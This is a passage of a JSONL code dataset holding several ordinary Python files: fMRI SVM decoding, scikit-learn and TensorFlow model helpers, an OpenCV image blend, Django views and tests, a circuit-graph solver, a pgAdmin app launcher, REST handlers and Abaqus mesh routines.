\"database\"])\n\t\n\tdf5 = df4.drop_duplicates(subset='onset', keep='first')\n\tdf5 = df5.reset_index()\n\n\tlabel_IAPS_TR('database', 'IAPS')\n\tlabel_IAPS_TR('valence', 'positive')\n\tlabel_IAPS_TR('valence', 'negative')\n\tlabel_IAPS_TR('valence', 'neutral')\n\n\t# Replace NaN in valence column\n\tdf5['database'] = df5['database'].fillna('rest')\n\tdf5['valence'] = df5['valence'].fillna('rest')\n\n\t# LUMP TRs to fit 227 TRs\n\t#df5 = df5.iloc[::2]\n\tdf5 = df5.drop(df5[(df5.onset%2 != 0)].index)\n\tdf5 = df5.reset_index()\n\t#df5 = df5.drop(df5[(df5.onset%2 == 0) & (df5.valence != 'positive') & (df5.valence != 'negative') & (df5.valence != 'neutral')].index)\n\t#df5 = df5[:227]\n\n\t# Extract column of interest\n\tdf5 = df5[['valence']]\n\tdf5.to_csv(outfile, index=False)\n\tdf6 = pd.read_csv(outfile, squeeze=True)\n\n\t# Create a mask the corresponds to postivie and negative IAPS (True&False)\n\tcondition_mask = df6.isin(['positive', 'negative'])\n\n\t# Apply to mask to both data and labels\n\tconditions = df6[condition_mask]\n\tfmri_masked_four = fmri_masked[condition_mask]\n\t\n\t# Write to CSV\n\t#print (conditions)\n\t#conditions.to_csv(outfile, index=False)\n\t\n\n\ncondition_mask.shape\n\n\nfrom sklearn.svm import SVC\nsvc = SVC(kernel='linear')\nprint(svc)\n\n\nsvc.fit(fmri_masked_two, conditions)\n\n\nprediction = svc.predict(fmri_masked_three)\nprint(prediction)\n\n\nprint((prediction == conditions).sum() / float(len(conditions)))\n\n\nsvc.fit(fmri_masked_two[:-20], conditions[:-20])\n\nprediction = svc.predict(fmri_masked_two[-20:])\nprint((prediction == conditions[-20:]).sum() / float(len(conditions[-20:])))\n\n\nfrom sklearn.cross_validation import KFold\n\ncv = KFold(n=len(fmri_masked_two), n_folds=5)\n\nfor train, test in cv:\n    conditions_masked = conditions.values[train]\n    svc.fit(fmri_masked_two[train], conditions_masked)\n    prediction = svc.predict(fmri_masked_two[test])\n    print((prediction == conditions.values[test]).sum()\n           / float(len(conditions.values[test])))\n\n\nfrom sklearn.cross_validation import cross_val_score\ncv_score = cross_val_score(svc, fmri_masked_two, conditions)\nprint(cv_score)\n\n\ncv_score = cross_val_score(svc, fmri_masked_two, conditions, cv=5)\nprint(cv_score)\n\n\ncoef_ = svc.coef_\nprint(coef_)\n\n\nprint(coef_.shape)\n\n\ncoef_img = masker.inverse_transform(coef_)\nprint(coef_img)\n\n\ncoef_img.to_filename('/Users/SB/Desktop/MIDUSREFE_svc_weights.nii.gz')\n\n\nfrom nilearn.plotting import plot_stat_map, show\n\nplot_stat_map(coef_img, bg_img=mask,\n              title=\"SVM weights\", display_mode=\"yx\")\n\nshow()\n\n","sub_path":"analysis/scikit-learn/neural_docding_fmri.py","file_name":"neural_docding_fmri.py","file_ext":"py","file_size_in_byte":4729,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"163453319","text":"import seaborn as sns\nimport numpy as np\nimport pandas as pd \n\n# Libraries for models\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.ensemble import AdaBoostClassifier\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.metrics import plot_confusion_matrix\nfrom sklearn.neural_network import MLPClassifier\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.decomposition import PCA\nimport tensorflow as tf\n\n# Libraries for plotting\nimport matplotlib.pyplot as plt\nplt.style.use('seaborn')\n\ndef ensemble(forest_predictions_all_data, \n             knn_predictions_all_data, \n             mlp_predictions_all_data,\n             xgb_predictions_all_data,\n             ada_predictions_all_data):\n    \"\"\" \n    This function retrieves the results from five models and chooses new labels based on the frequency a class was chosen \n    \n    Parameters\n    ----------\n    mpl_resuls: np array: \n        Predicted labels (1-7) (number of dev_labels ,1)\n    knn_results: array: np array: \n        Predicted labels (1-7) (number of dev_labels ,1)\n    random_forest_results: array: np array: \n        Predicted labels (1-7) (number of dev_labels ,1)\n\n    Returns\n    -------\n    new_predictions: list \n        New predictions based on a combination of all three models\n    \"\"\"\n    # Determine final predictions\n    new_predictions = []\n    # Keep track of instances in which the models disagree for insight\n    count = 0\n    for i in range(len(forest_predictions_all_data)):\n        labels = [\n            forest_predictions_all_data[i],\n            knn_predictions_all_data[i],\n            mlp_predictions_all_data[i],\n            xgb_predictions_all_data[i],\n            ada_predictions_all_data[i]\n        ]\n        unique, counts = np.unique(labels, return_counts=True)\n        zipped = dict(zip(unique, counts))\n        # Initialize Classification\n        classification = 0\n        # If there's only 1 unique value, all models agreed\n        if len(unique) == 1:\n            classification = unique[0]\n       # All five models disagree. Choose the label from xgboost\n        elif len(unique) == 5:\n            count += 1\n            classification = xgb_predictions_all_data[i]\n         # Two or more out of five models agreed\n        else:\n            count += 1\n            classification = unique[np.argmax(counts)]\n            \n        # Assign the new prediction\n        new_predictions.append(classification) \n        \n    print(\n        \"Models disagreed on {0}/{1} examples.\".format(count, forest_predictions_all_data.shape[0]))\n    return np.array(new_predictions).astype(int)\n\n\n\"\"\"\nWe did not include these functions in the final notebook, but they were vital in our exploration and research for this project \n\"\"\"\n\ndef pca(train_data,train_labels, dev_data, dev_labels):\n    \"\"\" \n    This function completes a principle component analysis on the training data in order to apply dimensionality reduction\n    Parameters\n    ----------\n    train_data: np array: \n        Training data\n    train_labels: array: np array: \n        Known training labels (1-7) \n    dev_data: array: np array: \n        Development data\n    dev_labels: array: np array: \n        Known development labels (1-7) \n    Returns\n    -------\n    new_predictions: list \n        new_data:\n            Transformed training data (based on pca)\n        new_dev_data:\n            Transformed development data (based on pca)\n        pca:\n            Principle Component Analysis object\n    \"\"\"\n    num_cols = ['Elevation', 'Slope', 'Horizontal_Distance_To_Hydrology',\n       'Horizontal_Distance_To_Roadways', 'Hillshade_Noon', 'Hillshade_3pm',\n       'Horizontal_Distance_To_Fire_Points','ap_ew', 'ap_ns', 'Elevation_squared']\n    pca = PCA(n_components=4) \n    new_x = pca.fit_transform(train_data[num_cols])\n    new_dev = pca.transform(dev_data[num_cols])\n    pca_df = pd.DataFrame(data=new_x, index=train_data.index,columns=[\"pca_fe1\",\"pca_fe2\",\"pca_fe3\",\"pca_fe4\"])\n    pca_dev_df = pd.DataFrame(data=new_dev, index=dev_labels.index,columns=[\"pca_fe1\",\"pca_fe2\",\"pca_fe3\",\"pca_fe4\"])\n    new_data = pd.concat((train_data.drop(columns=num_cols),pca_df),axis=1)\n    new_dev_data = pd.concat((dev_data.drop(columns=num_cols),pca_dev_df),axis=1)\n    y =  train_labels\n    zip(new_x,y)\n    \n    colors = [\"red\",\"green\",\"blue\",\"yellow\",\"orange\",\"black\",\"purple\"]\n    target_names = ['type' +str(i) for i in range(1,8)] # labels\n      \n    fig, axes = plt.subplots(1,2, figsize=(12,6))\n    lw = 2\n    for i,color, target_name in zip([1,2,3,4,5,6,7], colors,target_names):\n        axes[0].scatter(new_x[y==i,0],new_x[y==i,1], color=color, alpha=.8, lw=lw,label=target_name)\n        axes[1].scatter(new_x[y==i,2],new_x[y==i,3], color=color, alpha=.8, lw=lw,label=target_name)\n    axes[0].legend(loc='best', shadow=False, scatterpoints=1)\n    axes[0].set_title('First 2 dims of 4-Dimension PCA of Forest Cover Type')\n    axes[1].set_title('Last 2 dims of 4-Dimension PCA of Forest Cover Type')     \n    plt.show()\n    \n    return new_data, new_dev_data, pca\n    \n    \ndef neural_network_tf(train_data, train_labels, num_features, num_output, num_epochs):\n    \"\"\" \n    Source: https://www.tensorflow.org/tutorials/quickstart/beginner\n    This function trains a neural network using tensorflow \n    Parameters\n    ----------\n    train_data: np array: \n        Training data\n    train_labels: array: np array: \n        Known training labels (1-7) \n    num_features:\n        Number of features in the training set - required to set the input later\n    num_output:\n        Number of output labels - required to set the output layer\n    Returns\n    -------\n    model:\n        Fitted neural network that can be used for evaluation and testing \n        \n    Example:\n    neuralnet_tf_original = models.neural_network_tf(train_data_original, \n                                                 train_labels_original-1, \n                                                 num_features=48, \n                                                 num_output=7,\n                                                 num_epochs=100) \n    \"\"\"\n    # Construct a model with 4 layers, relu activation, drop-out and batch normalization \n    model = tf.keras.models.Sequential([\n        tf.keras.layers.Flatten(input_shape=(num_features,)),\n        tf.keras.layers.Dense(64, activation='relu'),\n        tf.keras.layers.BatchNormalization(),\n        tf.keras.layers.Dropout(0.2),\n        tf.keras.layers.Dense(128, activation='relu'),\n        tf.keras.layers.BatchNormalization(),\n        tf.keras.layers.Dropout(0.2),\n        tf.keras.layers.Dense(128, activation='relu'),\n        tf.keras.layers.BatchNormalization(),\n        tf.keras.layers.Dropout(0.2),\n        tf.keras.layers.Dense(64, activation='relu'),\n        tf.keras.layers.BatchNormalization(),\n        tf.keras.layers.Dropout(0.1),\n        tf.keras.layers.Dense(num_output),\n    ])\n\n    # Each example has a prediction in the form of logits \n    predictions = model(train_data).numpy()\n\n    # Establish a loss function with the logits \n    loss_fn = tf.keras.losses.SparseCategoricalCrossentropy(from_logits=True)\n\n    # Subtract one from the labels because the output layer is [0-6] instead of [1-7] like the labels \n    loss_fn(train_labels, predictions).numpy()\n\n    model.compile(optimizer='adam',\n                  loss=loss_fn,\n                  metrics=['accuracy'])\n    \n    # Adjust model parameters to minimize loss\n    # Set epochs to 20 and re-run this line multiple times while experimenting (to get a closer look at whats happening)\n    model.fit(train_data, train_labels, epochs=100)\n\n    return model\n\n    \ndef logistic_regression(train_data, train_labels, dev_data, dev_labels):\n    \"\"\"\n    This function creates and fits a Logistic Regression model and evaluates the model on the dev set. \n\n    Parameters\n    ----------\n    train_data: pd.DataFrame\n        The training data of shape (Training Examples, Features)\n    train_labels: pd.DataFrame\n            The training labels of shape (Training Examples, 1)\n    dev_data: pd.DataFrame\n                The dev labels of shape (Dev Examples, Features)\n    dev_labels: pd.DataFrame\n                The dev labels of shape (Dev Examples, 1)\n    \"\"\"\n    model = LogisticRegression(\n            random_state=0,\n            multi_class='ovr',\n            solver='lbfgs',\n            max_iter=300)\n    model.fit(train_data, train_labels)\n    score = model.score(dev_data, dev_labels)\n    print(\"Logistic Regression accuracy = \", score)\n","sub_path":".ipynb_checkpoints/models-checkpoint.py","file_name":"models-checkpoint.py","file_ext":"py","file_size_in_byte":8759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"454692150","text":"import cv2\n\nimg1 = cv2.imread(\"1.jpg\")\nimg2 = cv2.imread(\"6.jpg\")\nimg3 = cv2.imread(\"9.jpg\")\n\nimg3 = cv2.resize(img3, (300, 418))\n\n\n# img = cv2.add(img1, img2)\n# cv2.imshow(\"img\", img)\n\n\nrows, cols, channels = img2.shape\nprint(rows, cols)\nroi = img1\n\nimg2gray = cv2.cvtColor(img2, cv2.COLOR_RGB2GRAY)\nret, mask = cv2.threshold(img2gray, 10, 255, cv2.THRESH_BINARY)\nmask_inv = cv2.bitwise_not(mask)\n\nimg1_bg = cv2.bitwise_and(roi, img3)\n\ncv2.imshow(\"img2\", img2)\n# cv2.imshow(\"mask_inv\", mask_inv)\ncv2.imshow(\"img1_bg\", img1_bg)\ncv2.waitKey(0)\n","sub_path":"Openstudy/bitewise.py","file_name":"bitewise.py","file_ext":"py","file_size_in_byte":543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"525527121","text":"\nfrom django import views\nfrom django.conf import settings\nfrom django.shortcuts import render\n\nfrom .models import Button, Logo, Tab, TabGroup\n\n\ndef convert_button_to_dict(button):\n    final_btn = {}\n    for attr in [\"title\", \"icon\"]:\n        final_btn[attr] = getattr(button, attr)\n\n    if isinstance(button, Tab):\n        final_btn[\"url\"] = button.url\n\n    return final_btn\n\n\nclass TabsView(views.View):\n    template_name = \"tabs.html\"\n\n    def get(self, request, *args, **kwargs):\n\n        # get all base visible buttons, ordered by their position and title fields\n        buttons = Button.objects.filter(visible=True).order_by(\"position\", \"title\").select_subclasses()\n\n        groups = []\n        for btn in buttons:\n            if isinstance(btn, TabGroup):\n                groups.append(btn)\n        group_mappings = {group: [] for group in groups}  # tabs within a group\n        single_tabs = [btn for btn in buttons if isinstance(btn, Tab)]  # button without sub tabs\n\n        # associate each tab to its group, if it has one\n        for i in range(len(single_tabs))[::-1]:\n            tab = single_tabs[i]\n            if tab.group is not None:\n                if tab.group in group_mappings:\n                    group_mappings[tab.group].insert(0, convert_button_to_dict(tab))\n                del single_tabs[i]\n\n        # merge and convert both single tabs and groups keeping their order\n        final_menu = []\n        groups_idx = single_tabs_idx = 0\n        while groups_idx < len(groups) and single_tabs_idx < len(single_tabs):\n            if groups[groups_idx].position == single_tabs[single_tabs_idx].position:\n                if groups[groups_idx].title <= single_tabs[single_tabs_idx].title:\n                    final_menu.append(\n                        (\n                            convert_button_to_dict(groups[groups_idx]),\n                            group_mappings[groups[groups_idx]],\n                        )\n                    )\n                    groups_idx += 1\n                else:\n                    final_menu.append(\n                        convert_button_to_dict(single_tabs[single_tabs_idx])\n                    )\n                    single_tabs_idx += 1\n            elif groups[groups_idx].position < single_tabs[single_tabs_idx].position:\n                final_menu.append(\n                    (\n                        convert_button_to_dict(groups[groups_idx]),\n                        group_mappings[groups[groups_idx]],\n                    )\n                )\n                groups_idx += 1\n            else:\n                final_menu.append(\n                    convert_button_to_dict(single_tabs[single_tabs_idx])\n                )\n                single_tabs_idx += 1\n\n        if groups_idx < len(groups) and len(groups) > 0:\n            for i in range(groups_idx, len(groups)):\n                final_menu.append(\n                    (\n                        convert_button_to_dict(groups[i]),\n                        group_mappings[groups[i]],\n                    )\n                )\n        elif len(single_tabs) > 0:  # single_tabs_idx < len(single_tabs)\n            for i in range(single_tabs_idx, len(single_tabs)):\n                final_menu.append(\n                    convert_button_to_dict(single_tabs[i])\n                )\n\n        logoObj = Logo.load()\n        logo = dict()\n        if logoObj:\n            logo[\"imageContainerCss\"] = logoObj.imageContainerCss\n            logo[\"imageCss\"] = logoObj.imageCss\n            logo[\"imageOnHoverCss\"] = logoObj.imageOnHoverCss\n\n            if logoObj.image:\n                logo[\"imageSrc\"] = f\"/{settings.MEDIA_URL}{logoObj.image}\"\n            else:\n                logo[\"imageSrc\"] = logoObj.url\n\n        context = {\n            \"tabs\": final_menu,\n            \"logo\": logo,\n        }\n\n        return render(request, self.template_name, context)\n","sub_path":"dashboard_viewer/tabsManager/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3857,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"247176417","text":"import json\n\nfrom django.test import Client\nfrom django.test import TestCase\nfrom django.urls import reverse\nfrom django.conf import settings\n\nfrom tworaven_apps.ta2_interfaces.ta2_util import format_info_for_request\nfrom tworaven_apps.utils.msg_helper import msgt\nfrom tworaven_apps.ta2_interfaces.models import STATUS_VAL_OK,\\\n    STATUS_VAL_FAILED_PRECONDITION\nfrom tworaven_apps.ta2_interfaces.req_start_session import ERR_MSG_NO_USER_AGENT\nfrom tworaven_apps.ta2_interfaces.req_end_session import ERR_NO_SESSION_ID\nfrom tworaven_apps.raven_auth.models import User\n\nclass StartEndSessionTest(TestCase):\n\n    def setUp(self):\n        # Set it to internal testing mode\n        settings.TA2_STATIC_TEST_MODE = True\n\n        # test client\n        self.client = Client()\n\n        user_obj = User.objects.get_or_create(username='dev_admin')[0]\n        self.client.force_login(user_obj)\n\n    def test_10_good_start(self):\n        \"\"\"(10) Test start session endpoint used by UI\"\"\"\n        msgt(self.test_10_good_start.__doc__)\n\n        # url and info for call\n        #\n        url = reverse('StartSession')\n        info = dict(user_agent='user_agent')\n\n        response = self.client.post(url,\n                                    json.dumps(info),\n                                    content_type=\"application/json\")\n\n        # 200 response\n        #\n        self.assertEqual(response.status_code, 200)\n\n        # convert to JSON\n        #\n        json_resp = response.json()\n        print('json_resp', json_resp)\n\n        # status code 'OK'\n        #\n        self.assertEqual(json_resp['responseInfo']['status']['code'],\n                         STATUS_VAL_OK)\n\n        # sessionId returned\n        #\n        self.assertTrue('sessionId' in json_resp['context'])\n\n        # session id length is reasonable\n        #\n        self.assertTrue(len(json_resp['context']['sessionId']) > 5)\n\n\n\n    def test_20_bad_start(self):\n        \"\"\"(20) Test start session endpoint used by UI. Send an unknown field\"\"\"\n        msgt(self.test_20_bad_start.__doc__)\n\n\n        # url and info for call\n        #\n        url = reverse('StartSession')\n        info = dict(user_agent='secret_agent_man',\n                    unknown_field='what\\'s this?')\n\n        response = self.client.post(url,\n                                    json.dumps(info),\n                                    content_type=\"application/json\")\n\n        # 200 response\n        #\n        self.assertEqual(response.status_code, 200)\n\n        # convert to JSON\n        #\n        json_resp = response.json()\n        print('json_resp', json_resp)\n\n        # status code 'FAILED_PRECONDITION'\n        #\n        self.assertEqual(json_resp['responseInfo']['status']['code'],\n                         STATUS_VAL_FAILED_PRECONDITION)\n\n        # error message found\n        #\n        err_snippet = '\"SessionRequest\" has no field named \"unknown_field\"'\n        idx = json_resp['responseInfo']['status']['details'].find(err_snippet)\n        self.assertTrue(idx > -1)\n\n    def test_30_bad_start(self):\n        \"\"\"(30) Test start session endpoint used by UI. Don't send a user agent\"\"\"\n        msgt(self.test_30_bad_start.__doc__)\n\n        # url and info for call\n        #\n        url = reverse('StartSession')\n        info = dict()\n\n        response = self.client.post(url,\n                                    json.dumps(info),\n                                    content_type=\"application/json\")\n\n        # 200 response\n        #\n        self.assertEqual(response.status_code, 200)\n\n        # convert to JSON\n        #\n        json_resp = response.json()\n        print('response: ', json_resp)\n\n        # status code 'FAILED_PRECONDITION'\n        #\n        self.assertEqual(json_resp['responseInfo']['status']['code'],\n                         STATUS_VAL_FAILED_PRECONDITION)\n\n        # error message found\n        #\n        idx = json_resp['responseInfo']['status']['details'].find(ERR_MSG_NO_USER_AGENT)\n        self.assertTrue(idx > -1)\n\n    def test_40_good_end(self):\n        \"\"\"(40) Test the end session endpoint\"\"\"\n        msgt(self.test_40_good_end.__doc__)\n\n        # url and info for call\n        #\n        url = reverse('EndSession')\n        info = dict(session_id='session_0')\n\n        response = self.client.post(url,\n                                    json.dumps(info),\n                                    content_type=\"application/json\")\n\n        # 200 response\n        #\n        self.assertEqual(response.status_code, 200)\n\n        # convert to JSON\n        #\n        json_resp = response.json()\n        print('json_resp', json_resp)\n\n        # status code 'OK'\n        #\n        self.assertEqual(json_resp['status']['code'],\n                         STATUS_VAL_OK)\n\n    def test_50_bad_end(self):\n        \"\"\"(50) Test the end session endpoint.  Error: Don't include a session_id\"\"\"\n        msgt(self.test_50_bad_end.__doc__)\n\n        # url and info for call\n        #\n        url = reverse('EndSession')\n        info = dict(no_session_id='session_0')\n\n        response = self.client.post(url,\n                                    json.dumps(info),\n                                    content_type=\"application/json\")\n\n        # 200 response\n        #\n        self.assertEqual(response.status_code, 200)\n\n        # convert to JSON\n        #\n        json_resp = response.json()\n        print('json_resp', json_resp)\n\n        # status code 'OK'\n        #\n        self.assertEqual(json_resp['status']['code'],\n                         STATUS_VAL_FAILED_PRECONDITION)\n\n        # error message found\n        #\n        idx = json_resp['status']['details'].find(ERR_NO_SESSION_ID)\n        self.assertTrue(idx > -1)\n","sub_path":"tworaven_apps/ta2_interfaces/testing/test_start_end_session.py","file_name":"test_start_end_session.py","file_ext":"py","file_size_in_byte":5659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"156326299","text":"from DrawDirectedGraph import DirectedGraphDraw\nfrom mownit.FileReader import FileReader\nimport numpy as np\nimport itertools\nfrom mownit.TupleUtils import TupleUtils\n\nif __name__ == '__main__':\n    n = 28\n    m = 1\n    e = (0, 1, 40)\n    e_x, e_y, e_val = e\n\n    file_reader = FileReader()\n    edges_tuple = file_reader.read_csv_file_graph_edges_as_tuple('file4.csv', n)\n    edges_tuple.append((e_x, e_y, 'e'))\n    tuple_utils = TupleUtils(edges_tuple)\n\n    A = np.zeros((n + m - 1, n + m - 1))\n\n    for i in range(1, n):\n        neighbours = tuple_utils.get_edges_for_vertex(i)\n        x = 0\n        for neighbour in neighbours:\n            (_, _, val) = neighbour\n            if isinstance(val, float):\n                x += 1 / val\n        A[i - 1][i - 1] = x\n\n    for (x, y, val) in edges_tuple:\n        if x > 0 and y > 0 and isinstance(val, float):\n            A[x - 1][y - 1] = -1 / val\n            A[y - 1][x - 1] = -1 / val\n\n    e_x, e_y, e_val = e\n\n    A[n - 1][e_x - 1] = -1\n    A[n - 1][e_y - 1] = 1\n\n    A[e_x - 1][n - 1] = -1\n    A[e_y - 1][n - 1] = 1\n    A[n - 1][n - 1] = 0\n\n    b = np.zeros(n + m - 1)\n    b[n - 1] = e_val\n    print(A)\n    print(b)\n    x = np.linalg.solve(A, b)\n    print(x)\n\n    x = list(itertools.chain([0], x))\n\n    result = []\n    for (ex, ey, val) in edges_tuple:\n\n        if isinstance(val, float):\n            v = (x[ey] - x[ex]) / val\n            result.append((ex, ey, v))\n    result.append((e_x, e_y, x[n]))\n\n    for_zero = tuple_utils.get_edges_for_vertex(0)\n    result = tuple_utils.uniform_direction(result)\n    print(result)\n\n    DirectedGraphDraw().draw(result)\n","sub_path":"main2.py","file_name":"main2.py","file_ext":"py","file_size_in_byte":1610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"129246555","text":"##########################################################################\n#\n# pgAdmin 4 - PostgreSQL Tools\n#\n# Copyright (C) 2013 - 2017, The pgAdmin Development Team\n# This software is released under the PostgreSQL Licence\n#\n##########################################################################\n\nimport os\nimport subprocess\n\nimport signal\n\nimport random\n\nclass AppStarter:\n    \"\"\"\n    Helper for starting the full pgadmin4 app and loading the page via selenium\n    \"\"\"\n\n    def __init__(self, driver, app_config):\n        self.driver = driver\n        self.app_config = app_config\n\n    def start_app(self):\n        random_server_port = str(random.randint(10000, 65535))\n        env = {\n            \"PGADMIN_PORT\": random_server_port,\n            \"SQLITE_PATH\": self.app_config.TEST_SQLITE_PATH\n               }\n        env.update(os.environ)\n\n        self.pgadmin_process = subprocess.Popen([\"python\", \"pgAdmin4.py\"],\n                                                shell=False,\n                                                preexec_fn=os.setsid,\n                                                stderr=open(os.devnull, 'w'),\n                                                env=env)\n\n        self.driver.set_window_size(1024, 1024)\n        print(\"opening browser\")\n        self.driver.get(\"http://\" + self.app_config.DEFAULT_SERVER + \":\" + random_server_port)\n\n    def stop_app(self):\n        self.driver.quit()\n        os.killpg(os.getpgid(self.pgadmin_process.pid), signal.SIGTERM)\n","sub_path":"web/regression/feature_utils/app_starter.py","file_name":"app_starter.py","file_ext":"py","file_size_in_byte":1491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"250624119","text":"\"\"\"REST Specification request handlers.\"\"\"\nfrom libcflib.rest.request_handler import RequestHandler\n\n\nNON_EMPTY_STR = {\"type\": \"string\", \"empty\": False, \"required\": True}\n\n\nclass Artifact(RequestHandler):\n    \"\"\"Gets an artifact's data\"\"\"\n\n    route = \"/artifact\"\n    schema = {\n        \"pkg\": NON_EMPTY_STR.copy(),\n        \"channel\": NON_EMPTY_STR.copy(),\n        \"arch\": NON_EMPTY_STR.copy(),\n        \"name\": NON_EMPTY_STR.copy(),\n    }\n\n    def get(self, *args, **kwargs):\n        \"\"\"GETs an artifact.\"\"\"\n        a = self.db.get_artifact(**self.data)\n        self.write(a)\n\n\nclass Packages(RequestHandler):\n    \"\"\"Gets the packages dictionary\"\"\"\n\n    route = \"/packages\"\n    schema = {}\n\n    def get(self, *args, **kwargs):\n        \"\"\"GETs the packages dict\"\"\"\n        self.write(self.db.packages)\n\n\nclass Package(RequestHandler):\n    \"\"\"Gets the packages dictionary\"\"\"\n\n    route = \"/package\"\n    schema = {\"pkg\": NON_EMPTY_STR.copy()}\n\n    def get(self, *args, **kwargs):\n        \"\"\"GETs the packages dict\"\"\"\n        self.write(self.db.packages[self.data(\"pkg\")])\n","sub_path":"libcflib/rest/handlers.py","file_name":"handlers.py","file_ext":"py","file_size_in_byte":1069,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"643097334","text":"\"\"\"\n# Mesh\n\tThis method sets the mesh controls, the element types, and specifies a global seed to make the mesh.\n\tThe method makes sure that the number of nodes is between 60,000 and 75,000 inclusive.\n\t\n\tmakeMesh(globalSeed) returns nodes and elements.\n\t\t*Input: \n\t\t\tglobalSeed: Numeric value for determining seed. Default is 20.\n\t\t*Output:\n\t\t\tnodes: Integer value for number of nodes.\n\t\t\telements: Integer value for number of elements.\n\t\n\tEXAMPLE:\n\t\tnumElm, numNodes = makeMesh(20) # Global seed is 20. \n\t\tnumElm, numNodes = makeMesh() # Global seed is 20. \n\"\"\"\n\nimport abaqus\nimport abaqusConstants as aq\nimport mesh\n\n# ADD WARNINGS FOR ILL FORMED MESH!!!!\n\ndef makeMesh2D(globalSeed=20):\n\timport mesh\n\tpart.setMeshControls(elemShape=aq.TRI, regions=(allSet.faces)) # Set to triangle shape\n\tpart.setElementType(elemTypes=(mesh.ElemType(elemCode=aq.DC2D8, elemLibrary=aq.STANDARD), \n\t\tmesh.ElemType(elemCode=aq.DC2D6, elemLibrary=aq.STANDARD)), regions=(allSet)) #\n\tnodes, elements = 0, 0 # Do I need this line?\n\twhile True:\n\t\tpart.seedPart(deviationFactor=0.1, minSizeFactor=0.1, size=globalSeed)\n\t\tpart.generateMesh()\n\t\tmodelObject.rootAssembly.regenerate()\n\t\tnodes = len(modelObject.rootAssembly.instances['PART1'].nodes)\n\t\telements = len(modelObject.rootAssembly.instances['PART1'].elements)\n\t\tif nodes < 60000:\n\t\t\tglobalSeed = globalSeed * 0.80\n\t\telif nodes > 75000:\n\t\t\tglobalSeed = globalSeed * 1.20\n\t\telse:\n\t\t\tbreak\n\t\t\n\t\n\treturn elements, nodes\n\n# 45 and 48 are the same?\ndef makeMesh3D(meshSeed=20):\n\timport mesh\n\tmodelRootAssembly.setMeshControls(elemShape=aq.TET, regions=(modelRootAssembly.sets['assemblyAll'].cells), technique=aq.FREE)\n\tmodelRootAssembly.setElementType(elemTypes=(mesh.ElemType(elemCode=aq.C3D20R, elemLibrary=aq.STANDARD), \n\t\tmesh.ElemType(elemCode=aq.C3D15, elemLibrary=aq.STANDARD), mesh.ElemType(elemCode=aq.C3D10, elemLibrary=aq.STANDARD)),\n\t\tregions=(modelRootAssembly.sets['assemblyAll']))\n\tmodelRootAssembly.setElementType(elemTypes=(mesh.ElemType(elemCode=aq.DC3D20, elemLibrary=aq.STANDARD),\n\t\tmesh.ElemType(elemCode=aq.DC3D15, elemLibrary=aq.STANDARD), mesh.ElemType(elemCode=aq.DC3D10, elemLibrary=aq.STANDARD)),\n\t\tregions=(modelRootAssembly.sets['assemblyAll']))\n\tnodes, elements = 0, 0\n\twhile True:\n\t\tmodelRootAssembly.seedPartInstance(deviationFactor=0.05, minSizeFactor=0.1, \n\t\t\tregions=(modelRootAssembly.instances['matrixFull-1'], ), size=meshSeed)\n\t\tmodelRootAssembly.generateMesh(regions=( modelRootAssembly.instances['matrixFull-1'], ))\n\t\tmodelObject.rootAssembly.regenerate()\n\t\tnodes = len(modelObject.rootAssembly.instances['matrixFull-1'].nodes)\n\t\telements = len(modelObject.rootAssembly.instances['matrixFull-1'].elements)\n\t\tif elements < 115000:\n\t\t\tmeshSeed = meshSeed * 0.90\n\t\telif elements > 145000:\n\t\t\tmeshSeed = meshSeed * 1.10\n\t\telse:\n\t\t\tbreak\n\t\t\n\t\n\treturn elements, nodes\n\n# Scoping and references!!!\n# Need for extracting data\ndef makeElementSet(modelRootAssembly):\n\tbottomFace = modelRootAssembly.instances['matrixFull-1'].faces.pointsOn[3]\n\ttopFace = modelRootAssembly.instances['matrixFull-1'].faces.pointsOn[1]\n\tmdb.models[modelName].parts['matrixFull'].Set(faces=mdb.models[modelName].parts['matrixFull'].faces.findAt(topFace), name='top')\n\tmdb.models[modelName].parts['matrixFull'].Set(faces=mdb.models[modelName].parts['matrixFull'].faces.findAt(bottomFace), name='bot')\n\n\n########### Info for testing Mesh\n\"\"\"\nimport numpy\nexecfile('hAssembly.py')\nexecfile('hCoordinates.py')\nexecfile('hJob.py')\nexecfile('hMaterial.py')\nexecfile('hMesh.py')\nexecfile('hModel.py')\nexecfile('hPart.py')\nexecfile('hProperty.py')\nexecfile('hStep.py')\n\n### Increase distance delta in coordinate generation by interface length! \ninterfacePortion = 0.15\n\nmaterials = getMaterialList() # Load in material Data\nmatrix = \"ESBR\" # Choose the first experiment from TCNanoFillers\nfillers = [\"Alumina\", \"ZincOxide\"] # Two fillers associated with first experiment\n\nmodelObject, modelName = createModel(2) # Create model database \"Model-2\"\nside, radius, portions, dP, dM, cP, cM = defExperiment(modelObject, matrix, fillers[0]) \ndefineMaterial(modelObject, \"Interface\", dM, (cP + cM)/2.0) # Define interface conductivity... Note that this will be generated randomly\nseed = numpy.random.randint(10000) # Random seed for coordinate generation\nradius, number = invPHR(portions[2], dP, radius, dM, side, False) # Returns specific radius size and number of inclusions for closest PHR value.\nxVals, yVals, zVals, warningPoints, number = getPoints3D(seed, side, radius, number, interfacePortion) # returns coordinates for inclusion locations. \n\npart = createMatrix(modelObject, side, False) # Create the matrix\nedges1, vertices1, face1 = assignGeomSequence(part) # Create references to important sets in our matrix\npart2 = createSphereParticle(modelObject, radius, side) # Create Particle part\nedges2, vertices2, face2 = assignGeomSequence(part2) # Create references to 